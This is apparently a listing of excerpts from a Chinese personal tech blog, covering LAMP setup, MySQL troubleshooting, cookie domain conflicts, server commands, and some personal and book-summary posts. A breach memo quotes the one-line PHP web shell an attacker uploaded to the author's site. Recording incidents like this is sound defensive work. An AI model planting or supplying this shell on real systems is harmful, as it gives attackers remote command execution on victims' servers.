安装Apache(Nginx)+MySQL+PHP的正确顺序

安装Apache(Nginx)+MySQL+PHP的正确顺序是什么?相信刚接触LAMP安装配置的朋友心里都有这个疑问,正确的顺序应该是:LMPA(MySQL、PHP、Apache)。原因很简单:后面的软件(有可能)依赖前面的软件。MySQL在安装时会带一个MySQL的函数库,而这个函数库在安装PHP时会用到。PHP安装成功后会生成一个php-fpm进程提供fastcgi服务,安装好Apache或者Nginx如果要执行PHP需要进行相关设置。

可用于网站(或软件)起名的最后一个字列表

前几天给一个软件想名字,太短的名字都被抢注了,太长则难记。三个还比较合适,前两个字是产品或行业名,最后一个字是后缀。把可以用于最后一个字的总结归纳起来:爱(妈咪爱)帮(男人帮)宝(监控宝)虫船床大党岛店多(可爱多)哥(新闻哥)狗(加密狗)好红火家酷快啦(114啦)连(兄弟连)龙楼路马米派军团色山神说搜淘王窝屋(主机屋)侠圣云站镇后两个字是产品

笔记:通过SHELL脚本修改帐号密码

近日遇到一个任务:通过shell自动为许多Linux帐号修改密码。我对这个不熟,在网上查阅了相关资料,以下为笔记:单个修改:echo test:23456 | chpasswd批量修改:先在一个文本文件中(假设名叫users.txt)准备帐号信息,格式是“帐号:密码”,每行一个,然后执行命令:chpasswd < users.txt执行成功后,记得删除这个users.txt。批量修改的方法稍稍麻烦一点,不过安全度更高一点点。因为,在shell

永不借钱

毕业后我借给三个朋友钱,现在一个彻底翻脸不还钱,还有一个不联系了,一个也因为催要而影响交情。结果如此的惨淡,让我下定决心,再也不借给别人钱了!一第一位是高中同学ZCD(简称东东)当时我们都是足球队的队友,2004我还在烟台工作,春节前他带着一个朋友找到我,我用能力内的最高标准请他们吃了一顿饭,席间随便聊聊天,互相问了一下近况,他在养海参,我在搞网站

通过.htaccess为Apache增加文档类型

有一个项目,以前是ASP做的,现在要换用PHP,为保持原来的URL,新的文件名仍然要以.asp为后缀,虽然这只是个普通的HTML文件,其中并不包含ASP的语法。服务器用的是Apache,如果直接访问这个ASP的话,直接在浏览器中显示出源代码了。如图:检查发现,这时HTTP的Response Headers中的Content-type是错误的。正常情况下网页应该是text/html,而这里却是text/plain:正好测试服务器支持.httaccess,就在

如何让MySQL支持CJK编码

背景知识:CJK:中日韩统一表意文字(CJK Unified Ideographs)(CJK不是苍井空老湿名字的缩写而是中日韩的缩写:China、Japan、Korea),目的是要把分别来自中文、日文、韩文、越文中,本质、意义相同、形状一样或稍异的表意文字(主要为汉字,但也有仿汉字如日本国字、韩国独有汉字、越南的喃字)于ISO 10646及Unicode标准内赋予相同编码。一些比较复杂的异性字,比如:古书中出现的一些

不重新编译PHP为PHP安装zlib扩展

一台服务器,编译PHP时未设置参数,导致缺少zlib扩展,无法执行解压缩,错误信息是:“Fatal error: Call to undefined function gzopen”。首先找到当初编译PHP时的目录,如果没了就找一个相同版本的解压缩,解压缩到php(假设)目录下,然后以root身份进入php/ext/zlib/目录下执行phpize,报错:“Cannot find config.m4.”,我找了半天没找到这个文件,但是看到一个类似的“config0.m4”,就cp了一个:cp con

AKCMS的产品理念:蚊式轰炸机

蚊式轰炸机,是二战时期英国生产的一种经典军用飞机,不是军事迷大概都没听说过这个名字。这个传奇飞机的独特的设计理念对AKCMS有着非常深刻的影响。德·哈维兰和他的蚊式轰炸机蚊式轰炸机是一部传奇:一 当金属飞机大行其道时,他选择木头作为原料。结果:二次大战爆发后金属短缺,但木材相对充裕,再加上木材的加工难度要低的多,所以英国当时出现了钢琴厂、家具厂等一

CentOS下编译安装MySQL5.5

有一台CentOS服务器原来安装的是通过yum install方式安装的MySQL5.1,现在因为一个项目的数据涉及CJK编码,需要将MySQL升级到5.5。因为yum中的版本比较旧,所以采用自行编译的方式安装,详细步骤如下:一 yum -y install cmake ncurses-devel gcc gcc-c++ bison准备工作:先通过yum安装需要用到的软件、库之类的。gcc是Linux下常用的编译器cmake是一个跨平台的安装(编译)工具ncurses是字符终端下的可视界面

Javascript将字符串中的前置Tab制表符转为空格

更新:是我自己二了,制表符丢失是CSS引起的,去掉就好了,不用这么麻烦!我二了,我二了!我在研究一个编辑器的插入源代码的插件,遇到一个问题:插入的代码在显示的时候浏览器把TAB制表符忽略了,就导致了代码的缩进就乱掉了。如图所示源代码中的是好的:但在浏览器里显示出来,制表符的缩进就没有了:写了一个函数把这个制表符的缩进用8个空格代替: Javascript执行后,

主域名和子域名COOKIE冲突的解决方案

之前有用户反馈在某些情况下,登录AKCMS提示成功,但是紧接着又要求登录,陷入死循环。之前调试过数次,看到的现象是写入COOKIE后,紧接着刷新页面读出来COOKIE就和刚才写的不同,一直都没找到原因。今天偶然的机会找到原因了,原来是COOKIE的一个缺陷:写入COOKIE的时候可以指定域名,但“读”的时候不可以。写入可以指定域名意味着为abc.akcms.com域名写一个COOKIE(test=1),再为akcms

不用Java基础写Android应用的Hello,word(2012年12月更新)

一 下载相关资源ADT(Android开发工具)(Android Development Tools的缩写)http://developer.android.com/sdk/index.html,点击“Download the SDK ADT Bundle for Windows”,在新打开的页面中选中“I have read and agree with the above terms and conditions”同意许可协议,选择32进制还是64进制,再次点击“Download the SDK ADT Bundle for Windows”按钮就正式开始下载了,文件大小400MB左右。原来需要单独下载Eclipse和ADT插件,我发现最新

设置MySQL开机自动启动

通过yum安装MySQL后,默认开机时不会自动启动,需要手动设置MySQL让它开机自启动。首先通过chkconfig命令看看MySQL在不在可管理的列表中,命令是:chkconfig --list如果列表中没有mysqld这个,需要先用这个命令添加:chkconfig add mysqld然后用这个命令设置开机启动:chkconfig mysqld on最后确认一下是否设置成功,如图:如果对应mysqld对应的6项中有3项是on就证明已经设置成功。

MySQL无法启动:Table 'mysql.host' doesn't exist

在一台服务器上使用yum命令安装MySQL,安装很顺利但无法启动,想了想可能是之前误操作/var/目录的权限,导致没有写权限导致的。但重新设置写权限之后仍不能正确启动。提示:Timeout error occurred trying to start MySQL Daemon.Starting MySQL: [FAILED]检查了MySQL的日志(cat /var/log/mysqld.log)发现提示一个错误([ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist),如图:猜测可能是

畅销书《影响力》内容概要

早几个月前读完了《影响力》这本书,号称是最畅销社会心理学作品,畅销20年。今天总结归纳一下:动物有条件反射,人类也一样。人类不光有生理性的膝跳反射,还有许多心理性的。了解并灵活运用这些条件反射会对你的商业活动大有帮助。一 一分钱一分货,便宜没好货。贵的东西一定比便宜的好二 吃人家的嘴软,拿人家的手短。接受了别人的赠品就很难拒绝他的推销,否则会有

让Linux服务器时间同步

以下命令都需要用root权限执行,否则会提示权限不足首先确定服务器有没有ntpdate这个软件:which ntpdate如果没有找到,就需要安装一个ntpdate。在Redhat、CentOS下使用这个命令:yum install -y ntp在Debian、Ubuntu下使用这个命令:apt-get install -y ntpdate安装好以后执行以下命令,通过授时服务器获得准确的时间ntpdate -u pool.ntp.orgpool.ntp.org是一组授时服务器虚拟集群,在全球有3000多台服务器,只需要

生男生女与男女比例的概率问题

题目一:100000对夫妇要生孩子,第一胎如果是男孩,则只能生一胎;如果第一胎是女孩则还可以生一胎。但不管第二胎是男是女都不可以生第三胎了。题目二:100000对夫妇要生孩子,第一胎如果是男孩,则只能生一胎;如果第一胎是女孩则还可以生一胎。如果仍是女孩则还可以继续生,直到生到一个男孩为止,就不许再生了。在以上两种情况下,新生儿男女比例各是几比几?为什么?

CentOS安装scp命令

在测试中需要在两台虚拟机之间传递文件,首先想到的是scp命令,结果提示:-bash: scp: command not found想当然用yum install scp命令安装,结果提示:No package scp available.后来发现scp这东西应该属于openssh-clients这个包,运行:yum install openssh-clients再运行scp就可以了,再次运行:scp 1.so root@192.168.0.182:/root/输入密码后又再次提示:bash: scp: command not found在目标主机也同样安装一下openssh-clients,再次尝

20120926网站被黑备忘录

问题的产生:akcms.com主站在2012年09月21日被黑客注入攻击,黑客做了以下的事情:1 修改了后台的密码2 污染了6个模版3 上传了一个一句话木马fa.php(<?eval($_POST[cmd]);?>),利用它又上传了更大的木马4 上传了3张奇怪的jpeg,这种行为不用看jpeg内容可以确定99%是木马,但仔细查看jpeg的内容未发现木马的特征5 上传了4张gif图片,QQ表情中那个捂着嘴笑的,插入了攻击代码,确实是木马6 删

《末代皇孙》故事梗概

昨天我看完了《末代皇孙》这部老电视剧,大约是我中学时候在电视上看的。去年过年时在网上下载下来怀旧,拖拖拉拉历时一年零七个月把这部电视剧看完了。估计以后都不会再看了,写一个故事梗概留作纪念:故事发生在晚清末年,大清朝即将灭亡,但八旗的王孙贵族仍过着游手好闲的逍遥日子,富察端康(黄日华饰)就是其中之一。某一天,在街头路遇日本人设擂台,穷小子张
扫码关注我的公众号